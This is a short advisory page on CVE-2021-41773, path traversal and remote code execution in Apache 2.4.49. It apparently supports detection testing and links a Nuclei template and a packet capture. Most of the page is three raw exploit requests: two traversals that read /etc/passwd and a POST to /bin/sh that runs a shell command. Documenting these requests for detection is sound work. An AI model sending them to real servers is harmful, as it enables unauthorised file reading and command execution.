CVE-2021-41773: Apache 2.4.49 - Path Traversal and Remote Code Execution

🔍 Vulnerability Description

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by “require all denied” these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.

🌐 HTTP Request

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763
Connection: close
Content-Length: 66
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

echo Content-Type: text/plain; echo; echo COP-37714-1202-EVC | rev

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41773.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41773.pcap